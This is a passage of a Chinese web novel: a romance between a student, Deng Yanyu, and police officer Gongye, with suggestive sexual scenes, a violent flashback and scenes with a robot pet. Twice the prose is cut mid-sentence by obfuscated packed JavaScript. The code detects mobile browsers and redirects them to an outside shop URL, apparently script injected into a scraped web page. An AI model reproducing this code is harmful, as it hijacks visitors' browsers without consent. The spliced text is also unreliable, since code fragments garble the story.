她非常好哄,也很给他面子,有模有样地把手交出去,让公冶扶住,一只脚踩到地上,另一只脚再跟着挪出来,公冶趁机稍微用力一拉,邓烟雨就扑进了他的怀抱。 车门在她身后关上,发出厚重简洁的一声碰合。 邓烟雨待在他有力的臂弯里,放轻呼吸。 声音是具有魅力的,公冶的车也是这样的格调,机械之间配合出一股沉稳而整洁的力量,再加上他也爱护自己的车子,关门方式尤其温柔。 这倒让邓烟雨无端紧张起来。 公冶什么也没做,仅仅是抱着她温柔地关车门,竟就触及了她的敏感区。 她的下巴贴着他宽阔的胸膛,两具身体不存在任何缝隙。 邓烟雨像只小猫娇憨地抬起头:“干嘛突然抱我……” 他对她向来呵护克制,该有的距离绝不逾越,连触碰都是小心翼翼,不过邓烟雨忍到极限了也会主动去调戏他。 可相处模式再淡,她也不该对他不设防。 充满占有欲的力量包裹了她的全身,邓烟雨意外之余,不自觉地让自己靠近了一点。她想起很久之前一个关于美食家情感分析的话题—— “美食家是一种本性贪婪、目的性很强的生物,却对伴侣抱有极致的忠贞之心。” “他们在恋爱期间大脑会分泌一味新激素,主要是用来催眠自己依赖另一半,起到捆绑伴侣的作用。” “一旦确立伴侣关系,只有死亡才能将他们分开。” 感情分析师在上面一语成谶,底下评论各执己见: 【这种所谓的忠贞无非是格鲁美通过另一种方式来美化自己低劣的本质】 【捆绑伴侣,听起来就可怕】 【不可怕哦,其实就是在说美食家喜欢上一个人会变成恋爱脑】 【老师您的观点一点都不专业啊】 【下台吧】 邓烟雨也未敢苟同,甚至对美食家的印象又偏颇了一些。 可眼下,她在做什么。 她在印证女专家的话句句属实。 贪婪,忠贞,恋爱脑,这七个字足以完整地概括此刻的公冶渡莲。 邓烟雨心如擂鼓,抬眸观察他,他也在凝视她,目光缜密,表情有了些意味深长的变化。 邓烟雨困在他怀里,动不了,身上热起来:“那、那个……” “不让我抱?” 邓烟雨两颊绯红,故意捏他臂膀上的肌肉,手感真好:“嗯,不让你抱,你放开我。” 公冶则关心另一处:“再捏捏吧。” 小心思被识破,邓烟雨面红耳赤:“公冶警官……!” “等会儿你也打算这么叫我?” 她脸红得不敢去看他。实战经验为零但理论知识相当丰富的邓小猫自然知道他口中的“等会儿”是指什么事。 公冶垂眸想了想,笑了:“这个称呼也可以。” 也可以?哪里可以?他真以为她会乖乖按他的要求叫出口? 这个男人,入夜了就不对劲,满脑子黄色废料。 停车场随时会来人,邓烟雨像颗熟透的红苹果,扭动:“发什么神经,快放开我啦,”她认为他被色魔附身了,言语敲打他,“家里或车上都行,不可以在外面——” 这话脱口而出没经过脑子,邓烟雨说完就愣住了,体温骤升。她觉得自己才是被色魔附身的那一个。 公冶放低姿态,去看车子。 “不是……不……我……” 呼吸碰到了,独属他的气息无所保留地平淡地传递过来。邓烟雨爱死他身上温暖干净的皂香,像冬天刚洗完澡,如果他能穿上警服诱惑她就更好了。 她彻底失去思考能力,状似无意地拉近他,又带着责怪意味:“不许亲我……” 口是心非。 他抵着她慢慢往后退,邓烟雨脚步凌乱,整个身子靠在了车窗上,被迫仰头与他目光接触。 “公冶警官……”邓烟雨哀求。 他的吻压了下来。 小绵羊是装的。 他真的很腹黑。 吻上了就不想再分开,旁边有根承重柱能当掩体,她也不管了,搂住他的脖子忘我地吻回去,只是声音需要两个人共同努力克服一下。 男人结实的手臂撑在车窗上,笼罩着她,她的膝盖不由自主弯曲。 被吻得腿软了。 怎么可以这么会……这两天他是报班去学了吗? 不过之前药物发情那次他也技术在线,所以还是欲望强度的问题? 当邓烟雨极度渴求再来一轮时,公冶反而不肯了。 远处有脚步声,虽然不往这里来,但他还是选择停下。 邓烟雨当然没听到,嘴唇被亲吻得湿湿的,两缕乌黑小卷毛贴在白里透粉的圆脸蛋上,大大的眼眸溢出极度的不满足:“不来了吗?” 简直是颗诱人的禁果。 其实他的理智是占据上风的,并且相信她亦是如此,可目前看来,这事被他搞砸了。 她小手扯着他的衣领,咬唇。 平常不会来这套。 这不是赤裸裸的勾引么。 他的目光不慌不忙移向车子:“太窄了,换个地方。” 邓烟雨睫毛扑簌,藏住自己眼底的情绪。 双门设计,后座不宽敞,前座缺少私密性,避震再好又如何,毫无用武之地。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579342|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她不爱他的车了,关门声再好听也不爱。 “先上去吃点东西,你不是说晚饭没吃饱么。” “是没饱……” 公冶恢复了以往的体贴男友人设,拇指擦了擦她唇边的一抹嫣红,留下指尖的温度,邓烟雨宛如在隔靴搔痒,浑身燥热:“怎么了?” “口红,晕开来了,”他不经意地流露出一丝温情,“今天换了一支吗,颜色特别好看。” 颜色原本还要深一点的…… 她看着他的唇,心跳得火热,幅度轻微地一侧,红润的唇瓣蹭到他的指腹。 直到走进电梯,她才让心声与体温平复下来。 电梯内再无他人,缓缓上升的静谧感无孔不入地包围着他们,邓烟雨和去年平安夜一样抬起头凝望他,玩心重地笑问:“你多高啊?” 公冶也笑了,说:“一米六。” “哎呀,怎么不按常理出牌,你上次不是这么说的。” 他捏住她的手,视线落下来。 “瞅啥,我脸上有东西?” “如果时间真的能重来就好了,”他说,“那天晚上我再快点赶到,你们就不会出事。” 邓烟雨搂紧他胳膊:“威凤要好好的,我必须得出事。” “……为什么?” “如果我不出事,就不能和你再见面了,你就不会闻到我身上标记的味道,也不会特意跟熊警官还有靳医生确认,更不会成为我的贴身保镖。” 称职的贴身保镖无了个大语,随后直接一句话打消她荒诞不经的顾虑:“就算这些没发生,我也不会错过你。” “我不信。” “我喜欢一个人,就一定会把她追到手。” “哇,然后往后余生都只喜欢她一个人吗?” “是的。” “阿冶你是恋爱脑。” “偶尔当当恋爱脑也挺……”公冶低头,茫然地看向她,“你叫我什么?” 邓烟雨目光暖洋洋地闪烁,亲昵地唤了一声:“阿冶真好。” 公冶的大脑和耳朵好像没有接收到女友发射的甜蜜信号。 “阿冶真好。” “阿冶阿冶阿冶你最好了。” “……” “你想听我再叫你什么?”邓烟雨狡黠地一笑,把他的心哄乱了。前面开车他烦躁的样子被她在车窗玻璃上瞧得一清二楚。 尤其是在叫“云今哥”的时候,他脸色如覆阴云。 原来是在意这个,醋王。 她心里跟明镜似的,本想选个合适的时机给予他奖励,可谁让他“欺负”她来着。 公冶故作镇定:“你从哪听来的?” “无意间听熊警官喊过,”邓烟雨心有不甘,“他私底下也这么称呼你吗,比叫你的名字还要亲切,我嫉妒了……” “阿冶,我也想这样叫你,”邓烟雨摇着他胳膊,“我也想嘛。” 她在撒娇。 他心脏快要承受不住。 电梯打开,他拉着她快步走出,按门锁密码的时候按错了,邓烟雨还在加码:“你是不是快忍疯了。” 他牙齿微微咬紧:“明知故问。” 大门开启的一刹,公冶拽着她跨进去,购物袋掉在玄关处,从袋口摔出一包蓝莓味pocky,他们都没心思捡。 两人在门口难以自持地拥吻起来,邓烟雨已经踮起脚,公冶捧住她的脸,只差分毫就要亲上去,却不动了。 邓烟雨眨巴着期待的双眼,指甲在他胸口难耐地一划:“?” 公冶问:“可以亲你吗?” 他是故意的!邓烟雨气得捶了他一拳:“明知故问!” 他低下头,吻没了她的声息,这次力道迅速从温柔转变为强势,和刚才躲在停车场柱子后面“偷情”的那人完全不能比。邓烟雨张开嘴用尽一切去回应,他的手滑下去,托住她软乎乎的屁股把人一下子抱起来。 卷发飘散着香气落满呼吸。 小巧得可以让他任意妄为。 邓烟雨放松全身的重量,紧紧贴着他,搂着他。她睁开眼,看到玄关和客厅的感应灯在依次亮起。 但他们不打算在这开始。 他抱她去了卧室。 90. 玫瑰 房门推开后很快被撞上,窝在墙角睡觉的蛋宝听到奇怪的动静,露出暖色的豆豆眼眨了眨。 一大一小两件外套掉落在地。 接着是皮带解开。 床无声一沉。 这是邓烟雨第一次觉得这张床不够稳固,她仿佛被抛到了海面上,找不到安全的着陆点,拥过来的海浪是冷的,掌心也是冷的,她急需一块浮木,手滑过被面,摸到扔在一边的皮带,本能地攥紧。 公冶看到了,让她松手,她不依,扭过身摇了摇头。 “抓着它干什么?” “有安全感。” “哦,”他故作伤感地说,“你玩带子都不肯玩我?” 邓烟雨简直无言以对,可他越是这样,她越是爱得不行:“你好意思啊?跟它也能吃醋?”邓烟雨拽着他的皮带挡在眼前,肩膀一抖一抖笑起来,公冶扯开她遮遮掩掩的手:“我现在连你身上的衣服都看不顺眼。” “大色狼!” “我是。” 如此供认不讳。 邓烟雨自知逃不掉,扔了给她“安全感”的皮带,扑过去,活像妖媚的妲己扑到纣王怀里撒娇:“再让我亲亲你,亲够了随你处置。” 娇滴滴的,她自己都起了一身鸡皮疙瘩。 但这招屡试不爽。 她等来的是男人的沉默,和托起下巴用力地深吻。邓烟雨喜欢被他拥入怀中热烈地索取,喜欢他失控后的一切,没人能看到他这一面,只有她。 一颗尖尖的牙在舌面扫过,感觉十分奇特,像软刺,痒酥酥的,并不具备锋利的攻击性。 原来友知姐说的都是真的。 邓烟雨上瘾了,凭直觉找到了他的獠牙。 两个人今天格外不对劲,邓烟雨说既然交往了那每天要亲一次,他也责任感满满一天不落地履行着亲吻打卡,可今晚,他们接吻的次数太多,几乎是要把往后十年的吻都一次性付清。 邓烟雨眼神泛着迷离,拉起他的卫衣,公冶顺势脱掉。 蛋宝大气不敢出,开启自我休眠模式,装聋。 唇齿间的喘息和衣物摩擦声混淆在一起,仅剩的雪纺背心过于单薄,能透出内部的轮廓。室温偏凉,邓烟雨莫名生出怯意,望向没有完全合拢的窗帘。 光线透入,一室意乱情迷在寂静的月色中晕染开来。 衣摆撩开那刻,除了初次尝试的丝许害怕,还有一点多年困滞在胸口深处的羞耻往外钻。 她的疤痕被他摸到了。 邓烟雨陷在枕头内,闷哼了声,手指在他背后蜷起:“丑吗?” “你说这条疤?” “还有很多,”她惴惴不安地睁开眼,与他对视,“肩上,大腿上……到处都是。” “腿上这条,怎么来的?” 邓烟雨屈起自己的左腿,膝盖往上有一条约十厘米长的疤痕:“我小时候出过车祸,当时留下来的,没想到越长越大。” 房间过暗,她无法看清他的表情。 “还有子弹穿过的地方,也留下了特别深的痕迹。” “我身上不好看。”她说着,抱住了枕头。 之前肚子上的疤就被他摸到过,那会儿他被药迷得七荤八素,大概印象全无。其实她知道他不会介意,但真正迎来这么一天,心底的小怪物就会作祟。 这好像是她第二次在他面前表露出自卑的一面,上次帮她整理衣柜,他发现她夏季衣物不多,只有短袖和长裤。 她明明是个很爱美的女孩,也想穿漂亮的短裙。 “你腿上好难看啊!不知道穿裤子遮一下吗?” “好丑好丑!” “哎哟,你腿这个样子还学别人穿裙子,害不害臊,赶快遮住吧。” 于是邓烟雨遮到了现在。 然后给他看了。 他不会像那些人一样,说她丑,说难看,不会让她穿长裤遮着,说这样才是本分的姑娘。 可她还是会紧张,会想起自己最喜欢的那条淡黄色短裙,和一大群人围着她指指点点。金曦每年给她买一条短裙,她都拿在手里看很久再放起来。 有疤就不能穿了吗? 他不希望她有这种想法和情绪。 坏女孩、配不上、不好看……这些想法都不可以有。 邓烟雨去碰爬在自己腿上的“粉色小虫”,想靠他怀里缓一缓,忽然,她的发顶被他怜惜地吻住。 “阿冶?” 邓烟雨叫了他一声,懵懂抬头,却被他拥紧。 他感受着她的体温,说:“玫瑰花都会带刺的。” 头顶的声音轻缓有力,宛如漫长雨季收尾后破云而出的一束光,往她常年积尘的灰暗小角落洒入明亮和温暖,也驱散了房内透不过气的稀薄。 腿上的疤在隐隐发热。 他俯下身,与她额头抵额头,闻到了她肌肤上刚剥开似的荔枝香气:“我没有保护好你,害你受伤了,就得加倍补偿你。” “你要怎么补偿呀?” “我现在就在补偿。” 邓烟雨被他哄得笑吟吟的:“警官大人,你学坏了,”她定定望着他,小声说,“笨蛋,那一枪又不是你开的。” “我亲眼看见了。” 亲眼看见她中枪,距离她一百米都不到,可他来不及。 “没有不好看,每一道疤都是小雨勇敢面对生活的证明,它们留在你身上就像在告诉你,你特别棒,你又成功了一次,所以绝对不要讨厌它们。” “那你呢?” “我就更好打发了,我喜欢你,就会接受你的全部。” “你不觉得这些疤很可怕吗?” 暗如深海的环境里,唯余彼此暧昧厮缠的呼吸声,公冶默默盯住她,眼中腾起幽微欲色:“我觉得超美。” 她冷不丁地,愣在了他面前。 美? 他说美? 邓烟雨严重怀疑自己男友有不为人知的性癖:“你不会和江邂月一样,有奇怪的嗜好吧?” 公冶微微眯眼,没说话。 邓烟雨:“……” 老天爷哟! 她还没来得及惊呼出声,大腿就被抬起来,挂到他赤裸的肩头。 邓烟雨心跳重了:“你……” “小雨,你觉得江邂月平常会这么干么?” “啊!”邓烟雨抓狂,“这时候不要提他!” 公冶:“你先提的。” 邓烟雨:“放屁你先提的!!” “行我先提的。” 他性偏好肯定不正常——邓烟雨心乱成麻地腹诽着,而公冶接下来的举动直接让她全身毛孔受激张开。 他侧首,吻了她大腿的疤。 不单单是贴上去的吻。 他张开唇,似在品尝,十分色气,獠牙轻轻搔过的那一刻,邓烟雨的心脏仿佛跃下了万丈高空。 她害羞地叫出声,捂脸也不是,捂腿也不是,更恨自己此时此刻竟还无法将视线从他完美的胸肌上移开:“笨蛋你在亲哪里……” 他侧眸看过来,对着她笑了。 邓烟雨脸红得发抖。 “笨蛋,笨蛋笨蛋笨蛋!你比江邂月还坏!” “江邂月是你的安全词吗,总是提他。” 邓烟雨狠狠冒烟,白皙大腿上,那条粉嫩凸起的疤痕似乎更红了。他撑好她的腿,不止亲吻了这道疤,周围也没放过,再往前就是禁区。 深黑碎发垂顺如猫尾,软软蹭在腿侧,在男人英挺的鼻梁前拓出阴影,他边吻边抬眼,勾人的瞳色隐忍地闪动,邓烟雨抵不住了:“啊我不行了,换、换个地方!” “叫‘公冶警官’。” 邓烟雨的头发在枕上铺开,一脸单纯:“为啥?” “我想听。” 她瞪他:“你想听我就换?我才不要,是谁几个小时前就为改个称呼醋坛子都打翻了。” “那我继续。” 邓烟雨差点气哭,手背掩住脸,忍了片刻实在受不了,终是退了一步:“公冶警官……求你……” 一阵静默。 黑暗里,那双绿眸缓缓睁大,像慵懒的猫咪发现了一根悠悠飘动的羽毛,瞳孔悸动一缩。 原来这声称呼要在“特别的时刻”才能体现出价值。 “别!”邓烟雨被他摸得腰窝弓起来,另一种压不住的声音随之溢出,她捂住嘴,泪眼盈盈地看他,恳求,“等一等……” 温热的气息落在了大腿根那。 “啊!” “我还没洗澡!”邓烟雨一个仰卧起坐猛地坐起身,薅住他头发,把他脑袋从双腿之间揪出来,“洗澡!我要洗澡!Sh……Shower!” 公冶:“……” 居然在这个时候启用小黄人口音。 也不知她哪里来的那么多小泪珠,手劲倒是挺大,把他的头发薅出两个小揪揪。 “要洗现在去,”公冶理智尚存,“只给你半小时。” “谢谢,”邓烟雨松了口气,感激不尽,“谢谢你能忍住。” “不能忍也得忍。” 邓烟雨背上登时一凉,知道他随时会变卦,赶紧从他身下爬出来,胡乱抓了件衣服挡在胸前跑进浴室。 十五分钟后她出来,地上乱扔的衣服已经不见了,应该是他收拾的。 床上没有人,邓烟雨以为出来会看到一个半裸美男对自己招手。 她面容恍惚,意犹未尽地回味了一下他扛着自己大腿热吻的画面,后悔叫停叫早了。 公冶洗完回来,就看见邓烟雨穿着他的宽松短袖,特可爱地杵在那。 “这么快?” “我怕你催我,”邓烟雨两根指头对着戳,“漫画里女主洗澡太慢,男主会直接闯进浴室把人拉出来。” 公冶:“……” “我不会的。” 说完,他就捕捉到她神色间的失落,立马改口:“下次试试?” 邓烟雨眼睛瞬间发亮。 公冶心中有了定夺,往床边走去:“小雨果然是抖M。” 邓烟雨:“……” 她扯下衣摆,遮住自己的大腿根,嘟囔一声:“抖S大魔王。” “来陪大魔王睡觉。” 公冶掀开被子坐下,挑了一本和地理有关的在翻,邓烟雨走过去,探出脑袋瞅了瞅。 “我想看会儿书,”他伸手环住她的腰肢,把人揽过来,“你先睡。” “不玩了?” 她管那事叫玩。 “嗯,不玩了,”他抽出书签,忽然说,“如果你还有兴致。” “我没有了,我亲亲就够了,满足了。” 公冶看她一眼,没说什么,将心思放回书上。 邓烟雨挨着他坐下来:“你是不是为了照顾我,所以在忍?” “是的。” “……”哇,好理直气壮的男人。 “对不起嘛,”邓烟雨上床,从背后抱住他,蹭着他脑袋,“我保证下次不会中途阻止你了,今天提了太多次江邂月,我没兴致了。” “说来也是,”公冶一脸不快,“我们干嘛要提他?” “就是说呀,我们以后不要提他了。” “……” “你以后不许学他的床上本事。” 公冶差点跳起来:“他床品能好到哪里去,我才不学,别说他了。” “哈哈哈哈哈哈——” “但我亲亲不够的,”他一边斯文地翻阅名著,一边说禽兽话,“你要做好心理准备。” “我会做好心理准备,但床品好的人不会用工具。” 公冶:“不用,你又不适合。” 邓烟雨啧啧两声:“变态,居然还考虑过。” 他不认账,装无辜地回头:“今晚可以让我抱着你睡吗?” “可以,你把我当杠铃,举着我睡都可以。” 邓烟雨为了安慰他,搂了他好一会儿才躺下。她拉起被子蒙住脸,转头凝视靠在床头安静看书的男人:“阿冶,我下次会补偿你的,”再转移视线,对着他下边说,“小阿冶,对不起啦,我下次也会加倍补偿你的。” 公冶:“……” 公冶:“你跟哪里道歉呢?” “跟我的宝。”她学小狗盘成一个圆睡觉了,睡了没几分钟从被窝里伸出手去拿床头柜的手机。 热搜没几条能看的,又是某某知名男星偷税漏税,挂一晚上了。邓烟雨放下手机,盯着天花板,右侧传来极静的翻页声。 “你那天在课堂上替我出气的样子好帅啊。” “你说胡老师那次?” 邓烟雨意外:“你还记得我们老师的姓。” “她那样说你,我肯定记得。” 她面向他:“其实你没必要给我出气,我已经习惯了。” “我遇见的大部分灯港人都像你这么说,”公冶把书轻轻合上,“所以灯港人被歧视成了常见现象,而灯港人渐渐接受自己被歧视也成了通病,如果有人能站出来替你们说话,就算是一句,能改变一点现状,也是好的。” 邓烟雨的目色被床头暖光灯照亮了:“原来你考虑得这么多。” “你们被歧视,也是因为我们,我希望我们都能努力做出改变。” “改变了,至少我已经做出改变,老师不会再刁难我,蔡蔡威凤也成为了我的好朋友,没有人再欺负我。” “我也不会再让人欺负你。” “我自己可以的。” 公冶捏捏她的脸:“必要时请依靠我,好吗?” 邓烟雨笑得天真烂漫,眼中恍若撒满了星星:“好好好,霸总。霸总大人你不看啦?” “不看了,有点困了。” “你看书原来是给自己催眠啊。” 公冶躺下后张开双臂:“到我怀里来。” 邓烟雨像一枚暖气四溢的小火箭发射进他的怀抱,撞得他胸骨疼。 “对不起。” “再撞狠点也没关系,”公冶顺了顺她炸开的毛,“明天要吃早饭吗?” “不,我要一觉睡到大中午。” 两个人在漫漫长夜中闲聊着,邓烟雨说了学校里的八卦,对方没回应,她仰起头一瞧,这个请她依靠的男人已经睡着了。 “懒猪,这就睡了?招呼都不打一声。” 懒猪的睡颜毫无防备,邓烟雨越瞧越爱,忍不住凑上去亲了好几口,结果把人亲醒了。 “别偷偷咬我,”公冶吻了吻她娇嫩的脖颈,“我没吃糖,身上不甜。” “那你咬我,我喝了可乐,身上是可乐味。” 公冶在她耳边说:“不行,我会忍不住想吸血。” “哦?”邓烟雨饶有兴趣地捂嘴,“像电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579343|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视剧里的吸血鬼那样?” “你知道纯人血对我的诱惑力有多大吗,还是你的血。” “不就是咸咸的铁锈味嘛。” “对我来说不是。” 他们胸膛贴得近,邓烟雨急促的心跳声传给了他。 “那……那我现在在你这,是什么味道的?” “荔枝。” “荔枝?”邓烟雨拎起衣服,嗅了嗅,“可我今天没吃荔枝,也没喷荔枝味的香水。” “就是荔枝,”他多少有些欲壑难填,“是小雨身上费洛蒙的味道。” 爱一个人会闻到对方身上特别的味道,据说这就是生理性喜欢,你的基因选择了他。邓烟雨跃跃欲试,抱住他的头猛吸一口:“嗯,是香的,我也闻到你的费洛蒙了。” “那是我的洗发水。” “……” 公冶轻声笑了起来,邓烟雨气得推了他一把,他说:“不要我了吗,那我不抱着你睡了。” 眼见他转过去,邓烟雨又一身牛劲把他扳回来,眼巴巴地瞅着他,他知道她想要了。 这次吻的时间是最久的,怀里的小荔枝又甜又软,还年轻,精力旺盛,缠得他分不开,但他想睡了,这回是真的有点缺氧。 “明天早饭中饭并一顿吧。” “好,我去买。” “让蛋宝买呗。” “它最近跟我闹脾气。” 邓烟雨乐不可支:“你俩干嘛啊,又吵架?” “是它不对,傲慢无礼,我不会跟它道歉的。” 邓烟雨笑了笑,去喊蛋宝,蛋宝休眠了,给足他们两个小时的运动时间,所以这会儿怎么叫也无应答。 “别管它了,心疼心疼我好吗?” “你有啥好心疼的,蛋宝那么乖,肯定是你把它说抑郁了,你坏,蛋好。” 公冶用被子裹住她,以免她着凉,半天来了句:“气死我了。” “哈哈哈哈。” 邓烟雨嘴上不饶人,身体还是很诚实地往他那边靠。 “阿冶,我们明年去有雪的北方旅游吧。” “去爬阿鹤山,去看雾凇和冰雕,去捡西伯利亚落叶松掉下来的松果。” “我想滑雪,你会滑雪吗,会的话能不能教我?” 他没回应,睡着了。邓烟雨挠了挠这颗蓬松的狗脑袋,不再吵他,伸手环住他的背。 这一夜,他没有冻得难眠,也没有半夜被噩梦惊醒后只能拉着蛋宝说话。 有时候,蛋宝也困,也想睡觉,也嫌他烦。 【主人,您那位朋友呢?她声音甜甜的,您也可以找她说话呀。】 公冶孤独地躺在黑暗中,侧头注视蛋宝含有温度的豆豆眼。 “你嫌弃我?” 【没有,只是您平常没有那么唠叨的,像个呕鸡酱,您知道呕鸡酱吗,是一句日语,翻译过来就是老爷爷的意思,您……】 于是蛋宝就被公冶放到墙角罚站了。 一直看墙壁会抑郁的,他打算明天把蛋宝接回它的宝座——床头柜。它应该也好好反省过了。 邓烟雨睡迷糊了,腿往暖的地带探索,架到了他的腿上,手臂嫌热,伸去了外面。公冶醒来给她盖被子。 宽大的领口露出锁骨与一侧肩膀,以及肩膀上略显狰狞的伤疤,公冶给她盖好被子,把人抱回怀里。 她的肩膀冷冷的。 窗外起风了。 公冶透过两面窗帘间的空隙,望到了幽蓝的天色。 今晚的天色始终不够暗,那一天也是这样的,将明不明,欲暗不暗,拂晓的风吹不散血气,枪声打破废墟之上的宁谧,教堂顶楼血液飞溅,碎块斑斓,他慢了一步,害她身上又多了一道疤。 她的雪纺背心肩带偏宽,也是为了遮住这个枪伤吗? 公冶听着她安稳放松的呼吸声,眉间皱起。 如果带着记忆再选一次,如果放弃阿澄和夏琳,如果再快点去找她,是否就能弥补一切了? 不会。 他知道自己不会这么选,不管重来多少次,他都要救下阿澄和夏琳,他只会怪自己醒来太慢—— 嘭…… 嘭!! 地震般的撞门声,血味混杂酒味,被摇晃时牵动刀伤的疼痛,还有一个男人在旁边焦急踱步,和电话那头讲话: “我已放出感染体,接下来只是时间问题。” “还有,江邂月刺伤他了。” “他会没事的,是,我想血清快失效了,您放心,我等他好转便走。” “或者……我要带他走吗,今晚就行动,我可以秘密安排。” “您别咳嗽,也别沉默,我只要您一句话。” 那一声声叹息把他拖回了人间,公冶艰难地掀开眼皮,视野一团模糊,只瞥到男人深棕的西裤和黑皮鞋。 “我得到了清绝的消息。” “是的,她寄信给我了,说香内的玫瑰开得极好,尤其是那一丛丛火灵鸟。主席,我是想着,让渡莲去见清绝最后一面。” 公冶手指动了动,想极力看清那名男子。 “为什么?渡莲留在这才是死路一条,他没道理代替清绝来收拾咱们这烂摊子。” “我知道,您当年放清绝离开是违心之举,您视她为至亲,她却背弃了您,那么她的苦难,她的爱人,孩子,都与您再无干系。” “您对江盛党放任自流,无视渡莲这些年种种的遭遇,没错,您完全可以这么做,您有这个权利,所以渡莲也有他自己选择的权利,如今他过上了正常的生活,您又要把他拉回地狱,这不公平。” “请主席还他自由,就像当年赠予清绝自由那样。” “不要再执着于过去了。” 电话那头的重病老者端坐于轮椅,厚毯覆着满身冷意,他两鬓充白,干涩的薄唇微微开合:“老万,你以为,让他回南陆,就是还他自由吗?” 男子一怔,凝神注目被撞的大门,公冶强撑着受伤的身躯站起来,门外的凶物在同一时刻以决堤之力破门闯入。 公冶一步也没迈出,被冲进来的数量庞大的感染体群淹没视野。 窗开着,有一个只剩框架的大洞,像颗冻伤的心脏,凋落的碎片奏响悲歌,外面是幽蓝枯萎的天色。 短刀清脆一声坠在脚边,闪着冰冷华丽的金光,刀柄的火欧泊折射光芒,恍如一枝艳绽的橙红玫瑰。 她寄信给我了—— 说香内的玫瑰开得极好—— 尤其是—— 那一丛丛火灵鸟—— 公冶头疼欲裂,再次靠回墙上,一个颈侧纹着“ce-277”的感染体拾起了地上的短刀,往自己胸口狠狠捅了一下。 他在哀吼,发泄,想结束自己的生命,空洞的眼眶里流出血泪,他呜咽地说:“带我回家……” 公冶失神地望着他,他也转过头,投以悲愤的凝视。 “莲……快……回家……” “回……” 香内。 一路北上,三千公里,跨越国境,南陆的首都,和种满罗德斯闻名遐迩的玫瑰港一样,给予人致命的梦幻,如毒似蛊,至死无法免疫。 那便是故乡。 阳光从窗帘缝隙间漏进来,淌成一缕金色的溪流,邓烟雨翻身,惺忪地睁开眼。 身旁空荡荡的,没有人在。 91. Route 86 邓烟雨慢吞吞爬出被窝,迟钝地环顾一圈,床头柜的书不见了,只有蛋宝乖乖待在那。 她大脑开机失败,倒下又睡了,直到饭点才成功解除被窝封印。 客厅光线充足,落地绿植生长得修洁挺拔。邓烟雨倒了杯温水喝,穿过走廊来到书房门口,门虚掩着,里面有光透出,混着人声—— “今天不行,可能有事。” “不能在电话里说吗,是很重要的东西?” “好,时间地方发我。” 听他挂断电话,邓烟雨推开门,被日光晃得眯了眯眼。书房比较乱,公冶踩在人字梯上,背光,在翻一本落叶棕烫金封皮书,与该画面极不协调的鸡毛掸子夹在胳膊下,听到动静他回过头,对她一笑:“起来了。” 邓烟雨的眼睛当即喀嚓一声把这瞬间的他拍了下来,在脑内做成透卡摆上男友名场面C位。她懒洋洋地笑了笑,打量这满地阵仗:“在打扫?” “打算把书都整理一下。” 她哦了声,眼中露出好奇:“你等会儿要出去?” 公冶塞进一本书:“没有啊,是听到我打电话了?” “我发四,我不是偷听的。” 他语气轻快:“没事,是祁宴,说要见我一面,有东西交给我。” 手上没书了,他左看看右看看,邓烟雨问:“找什么?” “我掸子呢?” “你要不看看你胳膊里夹的什么?” “……” 邓烟雨笑得叉腰:“大清早就犯傻啊你。” “已经十二点了。” “是吗,那太好了,我说过要一觉睡到大中午,”邓烟雨蹲在书海中寻觅自己感兴趣的漫画,“《镖人》我借去看啦。” 公冶嗯了声,掸了掸书架边角的薄灰:“我前面煮了面,还挺成功的,你要不要试一试?” 邓烟雨大惊失色:“我天,你没炸厨房?” “又不是炼制生化武器,哪能说炸就炸。” “下来。” 公冶听话地迈下梯子,掸子放一边:“昨天问你吃什么,你不说,所以我就自己尝试……” 邓烟雨二话不说跳上去抱住他,啄他一口:“吃,咸菜馒头我都吃。” 她精力四射,使劲夹着他腰,公冶生怕她滑下去,捞住她的腿:“你夹得我好紧。” 邓烟雨脸上灿烂的笑容顿时凝固,没来由地收紧了核心。 最怕空气突然安静。 两人四目相对,邓烟雨在他眼中找到了一丝慌乱。 她故作羞涩地抿唇,推了他一下:“一大早的,不要这样嘛。” “我没有那个意思!” “哈哈哈哈——” 她跳下来欢欢喜喜向外跑,真正意义上笑出了花枝乱颤的样子,公冶为了追她差点滑了一跤:“你听我解释!” “不听不听王八念经!” 清汤面一切从简,撒了葱花,汤色清澈。邓烟雨边吃边赞不绝口,把人夸上了天,回头又蒸了两个馒头一盘饺子,说自己没吃饱。 炫完饺子去找他,他在卧室,捧着蛋宝。 邓烟雨习惯性地搂他肩:“干嘛戳它,让它睡觉嘛。” “睡一天了,”公冶摩挲蛋宝温润的小脑袋,“你喊喊它。” 邓烟雨叫了两声,蛋宝安静如石,公冶眉头微皱,邓烟雨也担心了:“不会坏了吧。” 蛋宝早上真就不帮他点外卖,怎么呼唤都不回应,公冶在APP上喂了它罐头带它玩耍,它心情勉强攀上冰冷的蓝线,情绪状态非常差。 精灵蛋出现长时间休眠情况,绝大多数是BUG,重新连网即可,但蛋宝的芯片严重受损过,重启将直接恢复初始状态,有关公冶和邓烟雨的记忆会在它脑内全部删除。 它本来已被贴上报废的标签要交去厂里销毁,公冶没舍得,拿到它的当天就配了新的线24小时全天充电续航。 那天教授已经把蛋宝退回工厂,得知公冶想要它,赶忙联系了厂家,所以给公冶送货的也是厂家的人:“它性格不算好,有点吵,还是四手货,电池也是坏的,如果你嫌烦不想要了就拔线,等它掉电掉完就可以了。” 公冶捧着只剩19%电量的蛋宝,它的原装配件已停售,没有货换,连个盒子也没的装:“它没电就报废了?” “对,最好别关机,清除数据倒没什么,没电就没用了。” 